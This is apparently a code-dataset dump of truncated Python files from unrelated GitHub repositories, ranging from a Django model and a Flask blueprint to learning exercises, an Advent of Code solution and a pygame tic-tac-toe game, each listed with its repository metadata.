from pymongo import MongoClient, InsertOne import logging from collections import defaultdict import os import sys sys.path.append(os.path.join(os.path.dirname(__file__), '../')) from config import TTL_BATCH_SIZE, DB_NAME client = MongoClient() db = client[DB_NAME] coll_path = db.cname_real_ip new_coll = db.ttl_real l...
liangz1/workflow
5_ttl_analysis/2_infer_anonymity_set_size.py
2_infer_anonymity_set_size.py
py
1,799
python
en
code
0
github-code
36
28780138811
""" Python Crash Course, Third Edition https://ehmatthes.github.io/pcc_3e/ My notes: https://github.com/egalli64/pythonesque/pcc3 Chapter 4 - Working With Lists - Tuples A tuple is an immutable list """ dimensions = (200, 50) print(dimensions[0], dimensions[1], dimensions) try: dimensions[0] = 42 except TypeErro...
egalli64/pythonesque
pcc3/ch04/e4_tuple.py
e4_tuple.py
py
492
python
en
code
17
github-code
36
32960455301
### START FUNCTION def extract_municipality_hashtags(df): """ Returns a new dataframe with two new columns municipality and hashtags. Args: Create new dataframe. Return: Dataframe with two columns, municipality that reflects the municipality and hashtags separately. ...
Team-18-JHB-Cohort/Analyse
Analyse/extract_municipality_hashtags.py
extract_municipality_hashtags.py
py
1,579
python
en
code
1
github-code
36
11090983949
import setuptools from setuptools import find_packages _name = "data_streaming_pipeline" _repo_name = "realtime_data_streaming_pipeline" _license = 'Proprietary: Internal use only' _description = "Realtime Data pipeline and Web application" _github_username = "NourSamir" setuptools.setup( name=_name, version=...
NourSamir/realtime_data_streaming_pipeline
setup.py
setup.py
py
1,440
python
en
code
0
github-code
36
2412659284
from flask import Flask, Blueprint from app.controllers.animes_controller import get_animes, get_animes_by_id, create_animes, delete, update bp_animes = Blueprint('animes', __name__, url_prefix='/animes') bp_animes.post('')(create_animes) bp_animes.get('')(get_animes) bp_animes.get('/<int:anime_id>')(get_animes_by...
GustavoCielo/python-flask-psycopg2-CRUD-SQL
app/routes/anime_blueprints.py
anime_blueprints.py
py
411
python
en
code
0
github-code
36
38100149531
from django.db import models # Create your models here. class BaseModel(models.Model): """ All models (in other apps) should subclass BaseModel. This is just a convenient place to add common functionality and fields between models. FSM_FIELDS (if used) must be defined on models that inherit from B...
iBala/bluetie
base/models.py
models.py
py
569
python
en
code
0
github-code
36
25210551689
#!/usr/bin/env python3 """Train several models for phone-play detector using synthetic data""" from os import path import random import pickle import numpy as np from sklearn.preprocessing import StandardScaler from sklearn.ensemble import RandomForestClassifier from sklearn.metrics import classification_report from...
bxkftechteam/onnx-ml-demo
train/train.py
train.py
py
1,981
python
en
code
9
github-code
36
36155736831
# ZADANIE 2 Liczby Armstronga # Program znajduje jak najwięcej liczb, # które są sumą swoich cyfr podniesionych do potęgi. zakres = int(input("Podaj górny zakres liczb do których będzie liczyć program: ")) for i in range(10, zakres): dlugosc = len(str(i)) potega = int(dlugosc) #określ potęgę suma_cyf...
ewachruscicka/Python-works
zad2 liczby Armstronga.py
zad2 liczby Armstronga.py
py
728
python
pl
code
3
github-code
36
3655234682
import numpy as np def neighbors(x, y, matrix): # získá souřadnice osmiokolí bodu s filtrací bodů mimo pole n = [] for x0 in range(x-1,x+2): for y0 in range(y-1,y+2): if 0 <= x0 < len(matrix) and 0 <= y0 < len(matrix[0]): n.append((x0,y0)) return n with open("input.t...
jakubhlava/AdventOfCode2021
day11/day11.py
day11.py
py
1,596
python
cs
code
0
github-code
36
818390269
""" Simple static vocabularies """ from eea.faceted.vocabularies.utils import IVocabularyFactory from zope.interface import implements from zope.schema.vocabulary import SimpleVocabulary from zope.schema.vocabulary import SimpleTerm from eea.faceted.vocabularies import EEAMessageFactory as _ # # Use catalog # class U...
RedTurtle/eea.faceted.vocabularies
eea/faceted/vocabularies/simple.py
simple.py
py
1,247
python
en
code
null
github-code
36
71949120425
# -*- coding: utf-8 -*- """ This module contains the main experiments performed using the current framework. Created on Mon Sep 30 13:42:15 2019 @author: Jorge Mario Cruz-Duarte (jcrvz.github.io), e-mail: jorge.cruz@tec.mx """ from . import hyperheuristic as hyp from . import operators as op from . import benchmark_...
jcrvz/customhys
customhys/experiment.py
experiment.py
py
18,465
python
en
code
17
github-code
36
19780157392
from torch_geometric.data import InMemoryDataset import os.path as osp import torch from tqdm import tqdm import argparse import os, sys sys.path.append('./data/graph_construction/prepare_notes') from ConstructDatasetByNotes import * IMDB_PATH = './data/IMDB_HCUT' # path to save output hypergraphs PRE_PAT...
ny1031/TM-HGNN
graph_construction/prepare_notes/PygNotesGraphDataset.py
PygNotesGraphDataset.py
py
4,404
python
en
code
7
github-code
36
40656824900
# python train_particleTest.py -gpu 2 -ep 20 -bs 128 -vSize 22 -vm 10 -zdim 30 -hdim 64 -enc plain -dec plain -log log_particleTest -name Plain_Plain_bs128_z30h64_gs8_gm22 MDSets/2560_smallGrid/ import tensorflow as tf import numpy as np import scipy import time import math import argparse import random import sys imp...
betairylia/NNParticles
Comparision/train_betairya.py
train_betairya.py
py
10,993
python
en
code
0
github-code
36
22985633862
import os import yaml class TestConfig: def get_config(self, property_name: str): data = self.get_config_data() if data.get(property_name): return data.get(property_name) raise RuntimeError("Incorrect Config") @staticmethod def get_config_data(): cur_dir = os...
muthukrishnanmce/python_selenium_pom
utilities/test_config.py
test_config.py
py
566
python
en
code
0
github-code
36
72177096103
import argparse from utils.wandb import Wandb from utils.config import config import os, sys, time, shortuuid, pathlib, json, logging, os.path as osp import torch import numpy as np import pandas as pd from sklearn.utils import shuffle import random import torch.nn as nn import torch.nn.functional as F import os sys...
emadalibrahim/reaction_rate_prediction
Hyperoptimization/ReactionPrediction.py
ReactionPrediction.py
py
4,712
python
en
code
2
github-code
36
44095373893
from typing import List from test_framework import generic_test import math def maximum_revenue(coins: List[int]) -> int: memo = [[None for j in range(len(coins))] for i in range(len(coins))] def pick(start,end): if start > end: return 0 if memo[start][end] != None: r...
kchen1025/Python-EPI
epi_judge_python/picking_up_coins.py
picking_up_coins.py
py
829
python
en
code
0
github-code
36
36808225829
from typing import Sequence, Dict, Union import numpy as np from .evaluator import Evaluator from .labeled_tensor import LabeledTensor class LabelMapEvaluator(Evaluator): """ Computes statistics related to volume and shape of the structures in a label map. A table with per-subject stats will be included in ...
efirdc/Segmentation-Pipeline
segmentation_pipeline/evaluators/label_map_evaluator.py
label_map_evaluator.py
py
4,654
python
en
code
1
github-code
36
8343985378
from typing import Dict, Iterator, NewType, Tuple FILEPATH = "data/data_05.txt" OverlapedPoints = NewType('OverlapedPoints', Dict[Tuple[int, int], int]) def read_lines(filepath: str) -> Iterator: with open(filepath, 'r') as fp: for line in fp.readlines(): start, end = line.split(' -> ') ...
fabiolab/adventOfCode2021
day05.py
day05.py
py
1,515
python
en
code
1
github-code
36
28144596558
"""Script for picking certain number of sampels.""" from argparse import ArgumentParser from streaming import StreamingDataset, MDSWriter def parse_args(): args = ArgumentParser() args.add_argument('--input_dir', type=str, required=True) args.add_argument('--output_dir', type=str, required=True) arg...
sophiawisdom/streaming
streaming/text/convert/enwiki/mds/pick_eval_samples.py
pick_eval_samples.py
py
1,392
python
en
code
null
github-code
36
25305990197
import math import os import pygame import random from pygame.locals import * import subprocess directory = os.getcwd() #window pygame.init() WIDTH = 800 HEIGHT = 500 win = pygame.display.set_mode((WIDTH, HEIGHT)) pygame.display.set_caption("Tic Tac Toe") #button vars RADIUS = 20 GAP = 20 letters = [] startx = round...
Durp06/Pycade
tictactoe.py
tictactoe.py
py
9,355
python
en
code
0
github-code
36